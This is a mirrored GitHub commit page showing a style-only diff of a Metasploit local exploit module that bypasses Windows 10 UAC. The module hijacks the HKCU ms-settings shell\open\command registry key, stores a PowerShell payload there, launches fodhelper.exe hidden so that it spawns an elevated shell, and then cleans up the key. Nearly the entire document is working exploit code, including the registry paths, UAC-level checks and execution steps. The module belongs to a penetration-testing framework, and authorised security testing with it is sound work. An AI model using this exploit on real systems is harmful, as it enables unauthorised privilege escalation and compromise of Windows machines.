mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
Merge pull request #3 from bwatters-r7/land-8434
Rubocop readability changes
This commit is contained in:
Alexandre Maloteaux
GitHub
commit
e5e3be3046
@ -14,50 +14,53 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
include Post::Windows::Registry
|
||||
include Post::Windows::Runas
|
||||
|
||||
FODHELPER_DEL_KEY = "HKCU\\Software\\Classes\\ms-settings"
|
||||
FODHELPER_WRITE_KEY = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command"
|
||||
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'
|
||||
EXEC_REG_VAL = '' # This maps to "(Default)"
|
||||
EXEC_REG_VAL_TYPE = 'REG_SZ'
|
||||
FODHELPER_PATH = "%WINDIR%\\System32\\fodhelper.exe"
|
||||
CMD_MAX_LEN = 16383
|
||||
FODHELPER_DEL_KEY = "HKCU\\Software\\Classes\\ms-settings".freeze
|
||||
FODHELPER_WRITE_KEY = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command".freeze
|
||||
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
|
||||
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
|
||||
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
|
||||
FODHELPER_PATH = "%WINDIR%\\System32\\fodhelper.exe".freeze
|
||||
CMD_MAX_LEN = 16383
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)',
|
||||
'Description' => %q{
|
||||
This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
|
||||
the current user hive, and inserting a custom command that will get invoked when
|
||||
the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
|
||||
flag turned off.
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)',
|
||||
'Description' => %q{
|
||||
This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
|
||||
the current user hive, and inserting a custom command that will get invoked when
|
||||
the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
|
||||
flag turned off.
|
||||
|
||||
This module modifies a registry key, but cleans up the key once the payload has
|
||||
been invoked.
|
||||
This module modifies a registry key, but cleans up the key once the payload has
|
||||
been invoked.
|
||||
|
||||
The module does not require the architecture of the payload to match the OS. If
|
||||
specifying EXE::Custom your DLL should call ExitProcess() after starting your
|
||||
payload in a separate process.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'winscriptingblog', # UAC bypass discovery and research
|
||||
'amaloteaux' , # MSF module
|
||||
The module does not require the architecture of the payload to match the OS. If
|
||||
specifying EXE::Custom your DLL should call ExitProcess() after starting your
|
||||
payload in a separate process.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'winscriptingblog', # UAC bypass discovery and research
|
||||
'amaloteaux', # MSF module
|
||||
],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' => [
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' => [
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[
|
||||
'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/',
|
||||
'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'
|
||||
]
|
||||
],
|
||||
'DisclosureDate'=> 'May 12 2017'
|
||||
))
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[
|
||||
'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/',
|
||||
'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'May 12 2017'
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
@ -71,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
def exploit
|
||||
commspec = '%COMSPEC%'
|
||||
registry_view = REGISTRY_VIEW_NATIVE
|
||||
psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
|
||||
psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
|
||||
|
||||
# Make sure we have a sane payload configuration
|
||||
if sysinfo['Architecture'] == ARCH_X64
|
||||
@ -95,7 +98,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
end
|
||||
|
||||
if !payload.arch.empty? && !(payload.arch.first == target_arch.first)
|
||||
if !payload.arch.empty? && (payload.arch.first != target_arch.first)
|
||||
fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
|
||||
end
|
||||
|
||||
@ -104,19 +107,18 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
check_permissions!
|
||||
|
||||
case get_uac_level
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
|
||||
)
|
||||
when UAC_DEFAULT
|
||||
print_good('UAC is set to Default')
|
||||
print_good('BypassUAC can bypass this setting, continuing...')
|
||||
when UAC_NO_PROMPT
|
||||
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||
shell_execute_exe
|
||||
return
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
|
||||
when UAC_DEFAULT
|
||||
print_good('UAC is set to Default')
|
||||
print_good('BypassUAC can bypass this setting, continuing...')
|
||||
when UAC_NO_PROMPT
|
||||
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||
shell_execute_exe
|
||||
return
|
||||
end
|
||||
|
||||
payload_value = rand_text_alpha(8)
|
||||
@ -145,7 +147,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
|
||||
registry_setvaldata(FODHELPER_WRITE_KEY, payload_value,psh_payload, EXEC_REG_VAL_TYPE, registry_view)
|
||||
registry_setvaldata(FODHELPER_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
|
||||
|
||||
# Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
|
||||
cmd_path = expand_path(commspec)
|
||||
@ -153,7 +155,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
print_status("Executing payload: #{cmd_path} #{cmd_args}")
|
||||
|
||||
# We can't use cmd_exec here because it blocks, waiting for a result.
|
||||
client.sys.process.execute(cmd_path, cmd_args, {'Hidden' => true})
|
||||
client.sys.process.execute(cmd_path, cmd_args, { 'Hidden' => true })
|
||||
|
||||
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
|
||||
# TODO: fix this up to use something smarter than a timeout?
|
||||
@ -171,7 +173,6 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
|
||||
end
|
||||
registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view)
|
||||
|
||||
end
|
||||
|
||||
def check_permissions!
|
||||
|
||||
Loading…
Reference in New Issue
Block a user